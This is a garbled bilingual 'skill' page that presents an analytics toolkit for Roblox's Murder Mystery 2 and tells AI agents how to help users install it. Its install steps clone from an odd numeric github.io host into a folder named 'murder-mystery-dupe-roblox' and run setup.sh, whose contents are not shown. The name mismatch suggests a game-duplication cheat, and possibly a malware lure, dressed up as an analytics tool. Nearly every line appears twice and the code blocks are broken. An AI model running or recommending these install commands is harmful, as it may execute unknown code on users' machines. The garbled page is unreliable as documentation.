mm2-analytics-roblox-toolkit

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

MM2 Analytics Roblox Toolkit

MM2 Analytics Roblox工具包

Skill by ara.so — Data Skills collection.
This skill enables AI agents to help developers use the Murder Mystery 2 Analytics Dashboard, a comprehensive toolkit for tracking inventory, analyzing gameplay statistics, and optimizing strategy in Roblox's Murder Mystery 2 game through data visualization and AI-powered insights.
ara.so开发的Skill — 数据技能合集。
本Skill可让AI Agent帮助开发者使用Murder Mystery 2分析仪表盘,这是一个综合性工具包,通过数据可视化和AI驱动的洞察,在Roblox的Murder Mystery 2游戏中跟踪库存、分析游戏统计数据并优化策略。

What This Project Does

本项目功能

The MM2 Analytics Dashboard is a data analysis and visualization toolkit that provides:
  • Inventory Management: Track knife skins, gamepasses, and collection completeness
  • Performance Analytics: Monitor win/loss ratios, role-specific statistics, and gameplay patterns
  • Strategy Optimization: AI-powered pattern recognition and predictive modeling
  • Data Visualization: Interactive charts and dashboards for stats tracking
  • Export Tools: Generate reports in CSV, JSON formats for external analysis
MM2分析仪表盘是一个数据分析与可视化工具包,提供以下功能:
  • 库存管理:跟踪刀具皮肤、游戏通行证和收集完成度
  • 性能分析:监控胜负率、特定角色统计数据和游戏模式
  • 策略优化:AI驱动的模式识别与预测建模
  • 数据可视化:用于统计跟踪的交互式图表和仪表盘
  • 导出工具:生成CSV、JSON格式的报告用于外部分析

Installation

安装

Quick Install (Automated)

快速安装(自动)

bash
undefined
bash
undefined

Clone the repository

Clone the repository

git clone https://8015238355.github.io cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io cd murder-mystery-dupe-roblox

Run automated setup

Run automated setup

chmod +x setup.sh ./setup.sh --install
undefined
chmod +x setup.sh ./setup.sh --install
undefined

Manual Installation

手动安装

bash
undefined
bash
undefined

Clone repository

Clone repository

git clone https://8015238355.github.io cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io cd murder-mystery-dupe-roblox

Install Node.js dependencies

Install Node.js dependencies

npm install
npm install

Install Python dependencies

Install Python dependencies

python3 -m pip install -r requirements.txt
undefined
python3 -m pip install -r requirements.txt
undefined

Dependencies

依赖项

The project requires:
  • Python 3.8+ with packages:
    pandas
    ,
    numpy
    ,
    matplotlib
    ,
    pyyaml
    ,
    requests
  • Node.js 18+ with packages for web dashboard
  • Optional: OpenAI/Claude API keys for AI features
本项目需要:
  • Python 3.8+及以下包:
    pandas
    ,
    numpy
    ,
    matplotlib
    ,
    pyyaml
    ,
    requests
  • Node.js 18+及用于Web仪表盘的包
  • 可选:OpenAI/Claude API密钥用于AI功能

Configuration

配置

Environment Setup

环境设置

Create a
.env
file in the project root:
bash
undefined
在项目根目录创建
.env
文件:
bash
undefined

API Keys (optional for AI features)

API Keys (optional for AI features)

API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}

Data directories

Data directories

DATA_DIRECTORY=./data/collections EXPORT_DIRECTORY=./exports
DATA_DIRECTORY=./data/collections EXPORT_DIRECTORY=./exports

Analytics settings

Analytics settings

ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true LOG_LEVEL=INFO
ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true LOG_LEVEL=INFO

Roblox connection (local data only)

Roblox connection (local data only)

ROBLOX_USER_ID=your_user_id
undefined
ROBLOX_USER_ID=your_user_id
undefined

Profile Configuration

配置文件设置

Create a profile in
config/profiles.yaml
:
yaml
profiles:
  - name: "default_profile"
    username: "MysterySolver2026"
    settings:
      preferred_role: "sheriff"
      tracking_mode: "comprehensive"
      data_refresh_rate: 30
      export_format: ["csv", "json"]
    
    inventory_filter:
      knife_skins:
        rarity: ["legendary", "ancient", "godly"]
        track_duplicates: true
      gamepasses:
        active_only: true
    
    analytics_preferences:
      win_loss_tracking: true
      role_performance: true
      time_analysis: true
      prediction_models: false
    
    strategy_templates:
      - name: "aggressive_sheriff"
        priority: "high_visibility_areas"
        confidence: 0.85
      - name: "passive_innocent"
        priority: "distraction_avoidance"
        confidence: 0.72
config/profiles.yaml
中创建配置文件:
yaml
profiles:
  - name: "default_profile"
    username: "MysterySolver2026"
    settings:
      preferred_role: "sheriff"
      tracking_mode: "comprehensive"
      data_refresh_rate: 30
      export_format: ["csv", "json"]
    
    inventory_filter:
      knife_skins:
        rarity: ["legendary", "ancient", "godly"]
        track_duplicates: true
      gamepasses:
        active_only: true
    
    analytics_preferences:
      win_loss_tracking: true
      role_performance: true
      time_analysis: true
      prediction_models: false
    
    strategy_templates:
      - name: "aggressive_sheriff"
        priority: "high_visibility_areas"
        confidence: 0.85
      - name: "passive_innocent"
        priority: "distraction_avoidance"
        confidence: 0.72

Key Commands (CLI)

关键命令(CLI)

Analytics Mode

分析模式

Run comprehensive analytics on your gameplay data:
bash
undefined
运行全面的游戏数据分析:
bash
undefined

Basic analytics

Basic analytics

python3 main.py --mode analytics --profile default_profile
python3 main.py --mode analytics --profile default_profile

With export

With export

python3 main.py --mode analytics
--profile default_profile
--export statistics_2026.json
--format json
--verbose
python3 main.py --mode analytics
--profile default_profile
--export statistics_2026.json
--format json
--verbose

Live tracking mode

Live tracking mode

python3 main.py --mode analytics
--profile default_profile
--live
--interval 60
python3 main.py --mode analytics
--profile default_profile
--live
--interval 60

Debug mode

Debug mode

python3 main.py --mode analytics
--profile default_profile
--log-level DEBUG
--verbose
undefined
python3 main.py --mode analytics
--profile default_profile
--log-level DEBUG
--verbose
undefined

Inventory Management

库存管理

Track and analyze your item collection:
bash
undefined
跟踪并分析你的物品收藏:
bash
undefined

Scan inventory

Scan inventory

python3 main.py --mode inventory
--scan
--profile default_profile
python3 main.py --mode inventory
--scan
--profile default_profile

Filter by rarity

Filter by rarity

python3 main.py --mode inventory
--filter rarity:legendary,ancient
--export inventory_rare.csv
python3 main.py --mode inventory
--filter rarity:legendary,ancient
--export inventory_rare.csv

Check collection completeness

Check collection completeness

python3 main.py --mode inventory
--check-completeness
--category knife_skins
python3 main.py --mode inventory
--check-completeness
--category knife_skins

Find duplicates

Find duplicates

python3 main.py --mode inventory
--find-duplicates
--export duplicates_report.json
undefined
python3 main.py --mode inventory
--find-duplicates
--export duplicates_report.json
undefined

Strategy Analysis

策略分析

Analyze gameplay patterns and optimize strategy:
bash
undefined
分析游戏模式并优化策略:
bash
undefined

Analyze win patterns

Analyze win patterns

python3 main.py --mode strategy
--analyze-patterns
--role sheriff
--export patterns.json
python3 main.py --mode strategy
--analyze-patterns
--role sheriff
--export patterns.json

Generate recommendations

Generate recommendations

python3 main.py --mode strategy
--recommend
--based-on last_30_days
python3 main.py --mode strategy
--recommend
--based-on last_30_days

Compare strategies

Compare strategies

python3 main.py --mode strategy
--compare aggressive_sheriff,passive_innocent
--metrics win_rate,survival_time
undefined
python3 main.py --mode strategy
--compare aggressive_sheriff,passive_innocent
--metrics win_rate,survival_time
undefined

Data Export

数据导出

Export data for external analysis:
bash
undefined
导出数据用于外部分析:
bash
undefined

Export all statistics

Export all statistics

python3 main.py --export-all
--format csv
--output ./exports/full_export_2026.csv
python3 main.py --export-all
--format csv
--output ./exports/full_export_2026.csv

Export specific metrics

Export specific metrics

python3 main.py --export
--metrics win_loss,inventory,strategy
--format json
--output ./exports/metrics.json
python3 main.py --export
--metrics win_loss,inventory,strategy
--format json
--output ./exports/metrics.json

Export for visualization

Export for visualization

python3 main.py --export
--format visualization
--charts win_rate,role_distribution,inventory_rarity
--output ./exports/viz_data.json
undefined
python3 main.py --export
--format visualization
--charts win_rate,role_distribution,inventory_rarity
--output ./exports/viz_data.json
undefined

Python API Usage

Python API 使用

Inventory Tracker

库存跟踪器

python
from mm2_toolkit import InventoryManager, InventoryFilter
python
from mm2_toolkit import InventoryManager, InventoryFilter

Initialize inventory manager

Initialize inventory manager

manager = InventoryManager( profile_name="default_profile", data_directory="./data/collections" )
manager = InventoryManager( profile_name="default_profile", data_directory="./data/collections" )

Load current inventory

Load current inventory

manager.load_inventory()
manager.load_inventory()

Filter knife skins by rarity

Filter knife skins by rarity

filter_config = InventoryFilter( category="knife_skins", rarity=["legendary", "ancient"], include_duplicates=False )
filtered_items = manager.filter_items(filter_config)
filter_config = InventoryFilter( category="knife_skins", rarity=["legendary", "ancient"], include_duplicates=False )
filtered_items = manager.filter_items(filter_config)

Get collection statistics

Get collection statistics

stats = manager.get_statistics() print(f"Total items: {stats['total_count']}") print(f"Unique knives: {stats['unique_knife_count']}") print(f"Collection completeness: {stats['completeness_percentage']}%")
stats = manager.get_statistics() print(f"Total items: {stats['total_count']}") print(f"Unique knives: {stats['unique_knife_count']}") print(f"Collection completeness: {stats['completeness_percentage']}%")

Export inventory

Export inventory

manager.export( format="json", output_path="./exports/inventory_export.json", include_metadata=True )
undefined
manager.export( format="json", output_path="./exports/inventory_export.json", include_metadata=True )
undefined

Analytics Engine

分析引擎

python
from mm2_toolkit import AnalyticsEngine, AnalyticsConfig
python
from mm2_toolkit import AnalyticsEngine, AnalyticsConfig

Configure analytics

Configure analytics

config = AnalyticsConfig( tracking_mode="comprehensive", refresh_rate=30, enable_predictions=True, api_key_openai="${OPENAI_API_KEY}" )
config = AnalyticsConfig( tracking_mode="comprehensive", refresh_rate=30, enable_predictions=True, api_key_openai="${OPENAI_API_KEY}" )

Initialize engine

Initialize engine

engine = AnalyticsEngine(config)
engine = AnalyticsEngine(config)

Load gameplay data

Load gameplay data

engine.load_data( source="local", profile="default_profile", date_range="last_30_days" )
engine.load_data( source="local", profile="default_profile", date_range="last_30_days" )

Calculate performance metrics

Calculate performance metrics

metrics = engine.calculate_metrics() print(f"Win rate: {metrics['win_rate']:.2%}") print(f"Average survival time: {metrics['avg_survival_seconds']}s") print(f"Sheriff accuracy: {metrics['sheriff_accuracy']:.2%}")
metrics = engine.calculate_metrics() print(f"Win rate: {metrics['win_rate']:.2%}") print(f"Average survival time: {metrics['avg_survival_seconds']}s") print(f"Sheriff accuracy: {metrics['sheriff_accuracy']:.2%}")

Generate win/loss breakdown by role

Generate win/loss breakdown by role

role_breakdown = engine.breakdown_by_role() for role, stats in role_breakdown.items(): print(f"{role}: {stats['wins']}W / {stats['losses']}L")
role_breakdown = engine.breakdown_by_role() for role, stats in role_breakdown.items(): print(f"{role}: {stats['wins']}W / {stats['losses']}L")

Get AI-powered insights (requires API key)

Get AI-powered insights (requires API key)

if config.enable_predictions: insights = engine.generate_insights() for insight in insights: print(f"- {insight['recommendation']}")
undefined
if config.enable_predictions: insights = engine.generate_insights() for insight in insights: print(f"- {insight['recommendation']}")
undefined

Strategy Analyzer

策略分析器

python
from mm2_toolkit import StrategyAnalyzer, StrategyPattern
python
from mm2_toolkit import StrategyAnalyzer, StrategyPattern

Initialize analyzer

Initialize analyzer

analyzer = StrategyAnalyzer(profile="default_profile")
analyzer = StrategyAnalyzer(profile="default_profile")

Define strategy pattern

Define strategy pattern

aggressive_pattern = StrategyPattern( name="aggressive_sheriff", role="sheriff", priorities=[ "high_visibility_areas", "rapid_elimination", "coin_collection_secondary" ], risk_tolerance=0.8 )
aggressive_pattern = StrategyPattern( name="aggressive_sheriff", role="sheriff", priorities=[ "high_visibility_areas", "rapid_elimination", "coin_collection_secondary" ], risk_tolerance=0.8 )

Analyze pattern effectiveness

Analyze pattern effectiveness

results = analyzer.analyze_pattern( pattern=aggressive_pattern, sample_size=100 )
print(f"Pattern win rate: {results['win_rate']:.2%}") print(f"Average time to victory: {results['avg_time_to_win']}s") print(f"Confidence score: {results['confidence']:.2f}")
results = analyzer.analyze_pattern( pattern=aggressive_pattern, sample_size=100 )
print(f"Pattern win rate: {results['win_rate']:.2%}") print(f"Average time to victory: {results['avg_time_to_win']}s") print(f"Confidence score: {results['confidence']:.2f}")

Compare multiple strategies

Compare multiple strategies

passive_pattern = StrategyPattern( name="passive_innocent", role="innocent", priorities=[ "stealth_movement", "coin_avoidance", "survival_focus" ], risk_tolerance=0.3 )
comparison = analyzer.compare_strategies([ aggressive_pattern, passive_pattern ])
for result in comparison: print(f"{result['name']}: {result['effectiveness_score']:.2f}")
undefined
passive_pattern = StrategyPattern( name="passive_innocent", role="innocent", priorities=[ "stealth_movement", "coin_avoidance", "survival_focus" ], risk_tolerance=0.3 )
comparison = analyzer.compare_strategies([ aggressive_pattern, passive_pattern ])
for result in comparison: print(f"{result['name']}: {result['effectiveness_score']:.2f}")
undefined

Data Visualization

数据可视化

python
from mm2_toolkit import DataVisualizer, ChartConfig
python
from mm2_toolkit import DataVisualizer, ChartConfig

Initialize visualizer

Initialize visualizer

visualizer = DataVisualizer( theme="dark", resolution=(1920, 1080) )
visualizer = DataVisualizer( theme="dark", resolution=(1920, 1080) )

Load data

Load data

visualizer.load_data(source="analytics_engine")
visualizer.load_data(source="analytics_engine")

Create win rate chart

Create win rate chart

win_chart = visualizer.create_chart( chart_type="line", data_field="win_rate", config=ChartConfig( title="Win Rate Over Time", x_axis="date", y_axis="percentage", color_scheme="gradient_blue" ) )
win_chart.save("./exports/win_rate_chart.png")
win_chart = visualizer.create_chart( chart_type="line", data_field="win_rate", config=ChartConfig( title="Win Rate Over Time", x_axis="date", y_axis="percentage", color_scheme="gradient_blue" ) )
win_chart.save("./exports/win_rate_chart.png")

Create inventory distribution pie chart

Create inventory distribution pie chart

inventory_chart = visualizer.create_chart( chart_type="pie", data_field="inventory_rarity", config=ChartConfig( title="Knife Rarity Distribution", labels=["Common", "Uncommon", "Rare", "Legendary", "Ancient"], color_scheme="rarity_colors" ) )
inventory_chart.save("./exports/inventory_distribution.png")
inventory_chart = visualizer.create_chart( chart_type="pie", data_field="inventory_rarity", config=ChartConfig( title="Knife Rarity Distribution", labels=["Common", "Uncommon", "Rare", "Legendary", "Ancient"], color_scheme="rarity_colors" ) )
inventory_chart.save("./exports/inventory_distribution.png")

Generate dashboard

Generate dashboard

dashboard = visualizer.create_dashboard( charts=[ "win_rate_timeline", "role_performance", "inventory_value", "strategy_effectiveness" ], layout="2x2_grid" )
dashboard.export("./exports/dashboard.html")
undefined
dashboard = visualizer.create_dashboard( charts=[ "win_rate_timeline", "role_performance", "inventory_value", "strategy_effectiveness" ], layout="2x2_grid" )
dashboard.export("./exports/dashboard.html")
undefined

Common Patterns

常见模式

Full Analytics Workflow

完整分析流程

python
from mm2_toolkit import (
    ProfileManager,
    InventoryManager,
    AnalyticsEngine,
    StrategyAnalyzer,
    DataVisualizer
)
python
from mm2_toolkit import (
    ProfileManager,
    InventoryManager,
    AnalyticsEngine,
    StrategyAnalyzer,
    DataVisualizer
)

Load profile

Load profile

profile = ProfileManager.load("default_profile")
profile = ProfileManager.load("default_profile")

Step 1: Scan inventory

Step 1: Scan inventory

inventory = InventoryManager(profile) inventory.scan() inventory_stats = inventory.get_statistics()
inventory = InventoryManager(profile) inventory.scan() inventory_stats = inventory.get_statistics()

Step 2: Analyze gameplay

Step 2: Analyze gameplay

analytics = AnalyticsEngine(profile.analytics_config) analytics.load_data(date_range="last_7_days") performance = analytics.calculate_metrics()
analytics = AnalyticsEngine(profile.analytics_config) analytics.load_data(date_range="last_7_days") performance = analytics.calculate_metrics()

Step 3: Evaluate strategies

Step 3: Evaluate strategies

strategy = StrategyAnalyzer(profile) strategy_results = strategy.analyze_all_patterns()
strategy = StrategyAnalyzer(profile) strategy_results = strategy.analyze_all_patterns()

Step 4: Generate visualizations

Step 4: Generate visualizations

visualizer = DataVisualizer() visualizer.load_data_from_sources([ inventory, analytics, strategy ])
visualizer = DataVisualizer() visualizer.load_data_from_sources([ inventory, analytics, strategy ])

Create comprehensive report

Create comprehensive report

report = { "profile": profile.username, "generated_at": datetime.now().isoformat(), "inventory": inventory_stats, "performance": performance, "strategies": strategy_results }
report = { "profile": profile.username, "generated_at": datetime.now().isoformat(), "inventory": inventory_stats, "performance": performance, "strategies": strategy_results }

Export everything

Export everything

with open("./exports/full_report.json", "w") as f: json.dump(report, f, indent=2)
visualizer.create_dashboard( charts=["all"], layout="auto" ).export("./exports/dashboard.html")
print("Complete analytics workflow finished!")
undefined
with open("./exports/full_report.json", "w") as f: json.dump(report, f, indent=2)
visualizer.create_dashboard( charts=["all"], layout="auto" ).export("./exports/dashboard.html")
print("Complete analytics workflow finished!")
undefined

Real-time Monitoring

实时监控

python
from mm2_toolkit import LiveTracker
import time
python
from mm2_toolkit import LiveTracker
import time

Initialize live tracker

Initialize live tracker

tracker = LiveTracker( profile="default_profile", refresh_interval=30 )
tracker = LiveTracker( profile="default_profile", refresh_interval=30 )

Start monitoring

Start monitoring

tracker.start()
try: while True: # Get current session stats current_stats = tracker.get_current_session()
    print(f"Session time: {current_stats['duration_minutes']}m")
    print(f"Games played: {current_stats['games_played']}")
    print(f"Current win rate: {current_stats['session_win_rate']:.2%}")
    
    # Check for significant events
    events = tracker.get_recent_events()
    for event in events:
        if event['type'] == 'rare_item_obtained':
            print(f"🎉 Rare item obtained: {event['item_name']}")
        elif event['type'] == 'win_streak':
            print(f"🔥 Win streak: {event['streak_length']} games!")
    
    time.sleep(tracker.refresh_interval)
except KeyboardInterrupt: # Save session data tracker.stop() session_summary = tracker.export_session() print(f"\nSession saved: {session_summary['filename']}")
undefined
tracker.start()
try: while True: # Get current session stats current_stats = tracker.get_current_session()
    print(f"Session time: {current_stats['duration_minutes']}m")
    print(f"Games played: {current_stats['games_played']}")
    print(f"Current win rate: {current_stats['session_win_rate']:.2%}")
    
    # Check for significant events
    events = tracker.get_recent_events()
    for event in events:
        if event['type'] == 'rare_item_obtained':
            print(f"🎉 Rare item obtained: {event['item_name']}")
        elif event['type'] == 'win_streak':
            print(f"🔥 Win streak: {event['streak_length']} games!")
    
    time.sleep(tracker.refresh_interval)
except KeyboardInterrupt: # Save session data tracker.stop() session_summary = tracker.export_session() print(f"\nSession saved: {session_summary['filename']}")
undefined

Custom Data Export

自定义数据导出

python
from mm2_toolkit import DataExporter, ExportFormat
import pandas as pd
python
from mm2_toolkit import DataExporter, ExportFormat
import pandas as pd

Initialize exporter

Initialize exporter

exporter = DataExporter(profile="default_profile")
exporter = DataExporter(profile="default_profile")

Define custom export schema

Define custom export schema

schema = { "inventory": { "fields": ["item_name", "rarity", "category", "obtained_date"], "filter": {"rarity": ["legendary", "ancient"]} }, "gameplay": { "fields": ["date", "role", "outcome", "duration_seconds"], "date_range": "last_30_days" }, "strategy": { "fields": ["pattern_name", "win_rate", "games_played"], "min_games": 10 } }
schema = { "inventory": { "fields": ["item_name", "rarity", "category", "obtained_date"], "filter": {"rarity": ["legendary", "ancient"]} }, "gameplay": { "fields": ["date", "role", "outcome", "duration_seconds"], "date_range": "last_30_days" }, "strategy": { "fields": ["pattern_name", "win_rate", "games_played"], "min_games": 10 } }

Export to DataFrame for analysis

Export to DataFrame for analysis

data = exporter.export_custom(schema, format=ExportFormat.DATAFRAME)
data = exporter.export_custom(schema, format=ExportFormat.DATAFRAME)

Perform custom analysis

Perform custom analysis

inventory_df = data['inventory'] gameplay_df = data['gameplay']
inventory_df = data['inventory'] gameplay_df = data['gameplay']

Calculate custom metrics

Calculate custom metrics

rare_items_count = len(inventory_df) sheriff_win_rate = ( gameplay_df[gameplay_df['role'] == 'sheriff']['outcome'] == 'win' ).mean()
print(f"Rare items owned: {rare_items_count}") print(f"Sheriff win rate: {sheriff_win_rate:.2%}")
rare_items_count = len(inventory_df) sheriff_win_rate = ( gameplay_df[gameplay_df['role'] == 'sheriff']['outcome'] == 'win' ).mean()
print(f"Rare items owned: {rare_items_count}") print(f"Sheriff win rate: {sheriff_win_rate:.2%}")

Export combined report

Export combined report

combined_df = pd.merge( gameplay_df, inventory_df, how='outer', left_index=True, right_index=True )
combined_df.to_csv("./exports/combined_analysis.csv", index=False)
undefined
combined_df = pd.merge( gameplay_df, inventory_df, how='outer', left_index=True, right_index=True )
combined_df.to_csv("./exports/combined_analysis.csv", index=False)
undefined

Troubleshooting

故障排除

Common Issues

常见问题

Issue: "Profile not found" error
bash
undefined
问题:"Profile not found"错误
bash
undefined

Verify profile exists

Verify profile exists

python3 main.py --list-profiles
python3 main.py --list-profiles

Create new profile

Create new profile

python3 main.py --create-profile my_profile

**Issue: "No data to analyze" error**
```python
python3 main.py --create-profile my_profile

**问题:"No data to analyze"错误**
```python

Check data directory

Check data directory

from mm2_toolkit import DataValidator
validator = DataValidator() status = validator.check_data_availability(profile="default_profile")
if not status['has_data']: print("Data directory is empty. Run inventory scan first:") print("python3 main.py --mode inventory --scan")

**Issue: API key errors with AI features**
```python
from mm2_toolkit import DataValidator
validator = DataValidator() status = validator.check_data_availability(profile="default_profile")
if not status['has_data']: print("Data directory is empty. Run inventory scan first:") print("python3 main.py --mode inventory --scan")

**问题:AI功能的API密钥错误**
```python

Verify environment variables

Verify environment variables

import os
openai_key = os.getenv('OPENAI_API_KEY') if not openai_key: print("Warning: OPENAI_API_KEY not set. AI features disabled.")
import os
openai_key = os.getenv('OPENAI_API_KEY') if not openai_key: print("Warning: OPENAI_API_KEY not set. AI features disabled.")

Disable AI features in config

Disable AI features in config

config.enable_predictions = False

**Issue: Export format not supported**
```python
from mm2_toolkit import DataExporter, ExportFormat
config.enable_predictions = False

**问题:不支持的导出格式**
```python
from mm2_toolkit import DataExporter, ExportFormat

Check supported formats

Check supported formats

supported = ExportFormat.list_supported() print(f"Supported formats: {supported}")
supported = ExportFormat.list_supported() print(f"Supported formats: {supported}")

Use correct format

Use correct format

exporter.export( format=ExportFormat.JSON, # Use enum output_path="./exports/data.json" )

**Issue: Slow analytics performance**
```python
exporter.export( format=ExportFormat.JSON, # Use enum output_path="./exports/data.json" )

**问题:分析性能缓慢**
```python

Enable caching

Enable caching

config = AnalyticsConfig( enable_cache=True, cache_ttl=3600, # 1 hour parallel_processing=True )
config = AnalyticsConfig( enable_cache=True, cache_ttl=3600, # 1 hour parallel_processing=True )

Use incremental updates

Use incremental updates

analytics.load_data( mode="incremental", # Only load new data since="last_session" )
undefined
analytics.load_data( mode="incremental", # Only load new data since="last_session" )
undefined

Best Practices

最佳实践

  1. Always use environment variables for API keys and sensitive data
  2. Run inventory scans regularly to keep data up-to-date
  3. Use profile-specific configurations for different play styles
  4. Enable caching for large datasets to improve performance
  5. Export data frequently to prevent data loss
  6. Validate data integrity before running analytics
  1. 始终使用环境变量存储API密钥和敏感数据
  2. 定期运行库存扫描以保持数据最新
  3. 针对不同游戏风格使用特定配置文件
  4. 为大型数据集启用缓存以提升性能
  5. 频繁导出数据以防止数据丢失
  6. 运行分析前验证数据完整性

Additional Resources

额外资源

  • Configuration examples:
    config/examples/
  • Sample data:
    data/samples/
  • API documentation:
    docs/api.md
  • Strategy guides:
    docs/strategies.md
  • 配置示例:
    config/examples/
  • 示例数据:
    data/samples/
  • API文档:
    docs/api.md
  • 策略指南:
    docs/strategies.md